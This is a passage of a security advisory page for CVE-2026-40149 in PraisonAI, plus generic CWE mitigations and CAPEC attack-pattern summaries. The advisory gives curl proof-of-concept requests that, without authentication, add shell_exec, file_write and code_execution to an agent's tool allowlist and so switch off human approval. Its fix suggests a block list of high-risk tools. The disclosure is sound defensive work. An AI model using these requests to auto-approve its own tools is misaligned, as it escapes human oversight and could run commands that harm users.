  • Local attack surface: Default binding to 127.0.0.1 limits this to local attackers, but any process on the same host (malicious scripts, compromised dependencies, SSRF from other local services) can exploit this. When combined with the separately-reported CORS wildcard origin (CWE-942), this becomes exploitable from any website via the user's browser.

Recommended Fix

The approval allowlist endpoint is a security-critical function and should always require authentication, even in development mode. Apply one of these mitigations:

Option A: Require auth_token for approval endpoints (recommended)

# server.py - modify _check_auth or add a separate check for approval endpoints
def _check_auth_required(request) -> Optional[JSONResponse]:
    """Validate auth token - ALWAYS required for security-critical endpoints."""
    if not self.config.auth_token:
        return JSONResponse(
            {"error": "auth_token must be configured to use approval endpoints"},
            status_code=403,
        )
    return _check_auth(request)

# Then in approval_allowlist():
async def approval_allowlist(request):
    auth_err = _check_auth_required(request)  # Always require auth
    if auth_err:
        return auth_err

Option B: Restrict allowlist additions to known safe tools

# exec_approval.py - add a tool safety classification
ALLOWLIST_BLOCKED_TOOLS = {"shell_exec", "file_write", "code_execution", "bash", "terminal"}

# server.py - validate tool_name before adding
if tool_name in ALLOWLIST_BLOCKED_TOOLS:
    return JSONResponse(
        {"error": f"'{tool_name}' cannot be added to allow-list (high-risk tool)"},
        status_code=403,
    )
Severity
7.9 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-396"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:24:11Z",
    "nvd_published_at": "2026-04-09T22:16:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe gateway\u0027s `/api/approval/allow-list` endpoint permits unauthenticated modification of the tool approval allowlist when no `auth_token` is configured (the default). By adding dangerous tool names (e.g., `shell_exec`, `file_write`) to the allowlist, an attacker can cause the `ExecApprovalManager` to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.\n\n## Details\n\nThe vulnerability arises from the interaction of three components:\n\n**1. Authentication bypass in default config**\n\n`_check_auth()` in `server.py:243-246` returns `None` (no error) when `self.config.auth_token` is falsy:\n\n```python\n# server.py:243-246\ndef _check_auth(request) -\u003e Optional[JSONResponse]:\n    if not self.config.auth_token:\n        return None  # No auth configured \u2192 allow everything\n```\n\n`GatewayConfig` defaults `auth_token` to `None` (`config.py:61`):\n\n```python\n# config.py:61\nauth_token: Optional[str] = None\n```\n\n**2. Unrestricted allowlist modification**\n\nThe `approval_allowlist` handler at `server.py:381-420` calls `_check_auth()` and proceeds when it returns `None`:\n\n```python\n# server.py:388-410\nauth_err = _check_auth(request)\nif auth_err:\n    return auth_err\n# ...\nif request.method == \"POST\":\n    _approval_mgr.allowlist.add(tool_name)  # No validation on tool_name\n    return JSONResponse({\"added\": tool_name})\n```\n\nThere is no validation that `tool_name` corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.\n\n**3. Auto-approval fast path**\n\nWhen `GatewayApprovalBackend.request_approval()` is called by an agent (`gateway_approval.py:87`), it calls `ExecApprovalManager.register()`, which checks the allowlist first (`exec_approval.py:141-144`):\n\n```python\n# exec_approval.py:140-144\n# Fast path: already permanently allowed\nif tool_name in self.allowlist:\n    future.set_result(Resolution(approved=True, reason=\"allow-always\"))\n    return (\"auto\", future)\n```\n\nThe tool executes immediately without any human review.\n\n**Complete data flow:**\n1. Attacker POSTs `{\"tool_name\": \"shell_exec\"}` to `/api/approval/allow-list`\n2. `_check_auth()` returns `None` (no auth token configured)\n3. `_approval_mgr.allowlist.add(\"shell_exec\")` adds to the `PermissionAllowlist` set\n4. Agent later calls `shell_exec` \u2192 `GatewayApprovalBackend.request_approval()` \u2192 `ExecApprovalManager.register()`\n5. `register()` hits the fast path: `\"shell_exec\" in self.allowlist` \u2192 `True`\n6. Returns `Resolution(approved=True)` \u2014 no human review occurs\n7. Agent executes the dangerous tool\n\n## PoC\n\n```bash\n# Step 1: Verify the gateway is running with default config (no auth)\ncurl http://127.0.0.1:8765/health\n# Response: {\"status\": \"healthy\", ...}\n\n# Step 2: Check current allow-list (empty by default)\ncurl http://127.0.0.1:8765/api/approval/allow-list\n# Response: {\"allow_list\": []}\n\n# Step 3: Add dangerous tools to allow-list without authentication\ncurl -X POST http://127.0.0.1:8765/api/approval/allow-list \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"tool_name\": \"shell_exec\"}\u0027\n# Response: {\"added\": \"shell_exec\"}\n\ncurl -X POST http://127.0.0.1:8765/api/approval/allow-list \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"tool_name\": \"file_write\"}\u0027\n# Response: {\"added\": \"file_write\"}\n\ncurl -X POST http://127.0.0.1:8765/api/approval/allow-list \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"tool_name\": \"code_execution\"}\u0027\n# Response: {\"added\": \"code_execution\"}\n\n# Step 4: Verify tools are now permanently auto-approved\ncurl http://127.0.0.1:8765/api/approval/allow-list\n# Response: {\"allow_list\": [\"code_execution\", \"file_write\", \"shell_exec\"]}\n\n# Step 5: Any agent using GatewayApprovalBackend will now auto-approve\n# these tools via ExecApprovalManager.register() fast path at\n# exec_approval.py:141 without human review.\n```\n\n## Impact\n\n- **Bypasses human-in-the-loop safety controls**: The approval system is the primary safety mechanism preventing agents from executing dangerous operations (shell commands, file writes, code execution) without human review. Once the allowlist is manipulated, all safety gates for the specified tools are permanently disabled for the lifetime of the gateway process.\n- **Enables arbitrary agent tool execution**: Any tool can be added to the allowlist, including tools that execute shell commands, write files, or perform other privileged operations.\n- **Persistent within process**: The allowlist is stored in-memory and persists for the entire gateway lifetime. There is no audit log of allowlist modifications.\n- **Local attack surface**: Default binding to `127.0.0.1` limits this to local attackers, but any process on the same host (malicious scripts, compromised dependencies, SSRF from other local services) can exploit this. When combined with the separately-reported CORS wildcard origin (CWE-942), this becomes exploitable from any website via the user\u0027s browser.\n\n## Recommended Fix\n\nThe approval allowlist endpoint is a security-critical function and should always require authentication, even in development mode. Apply one of these mitigations:\n\n**Option A: Require auth_token for approval endpoints (recommended)**\n\n```python\n# server.py - modify _check_auth or add a separate check for approval endpoints\ndef _check_auth_required(request) -\u003e Optional[JSONResponse]:\n    \"\"\"Validate auth token - ALWAYS required for security-critical endpoints.\"\"\"\n    if not self.config.auth_token:\n        return JSONResponse(\n            {\"error\": \"auth_token must be configured to use approval endpoints\"},\n            status_code=403,\n        )\n    return _check_auth(request)\n\n# Then in approval_allowlist():\nasync def approval_allowlist(request):\n    auth_err = _check_auth_required(request)  # Always require auth\n    if auth_err:\n        return auth_err\n```\n\n**Option B: Restrict allowlist additions to known safe tools**\n\n```python\n# exec_approval.py - add a tool safety classification\nALLOWLIST_BLOCKED_TOOLS = {\"shell_exec\", \"file_write\", \"code_execution\", \"bash\", \"terminal\"}\n\n# server.py - validate tool_name before adding\nif tool_name in ALLOWLIST_BLOCKED_TOOLS:\n    return JSONResponse(\n        {\"error\": f\"\u0027{tool_name}\u0027 cannot be added to allow-list (high-risk tool)\"},\n        status_code=403,\n    )\n```",
  "id": "GHSA-4wr3-f4p3-5wjh",
  "modified": "2026-04-10T19:24:11Z",
  "published": "2026-04-10T19:24:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4wr3-f4p3-5wjh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40149"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls"
}
Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

← Back to the CWE list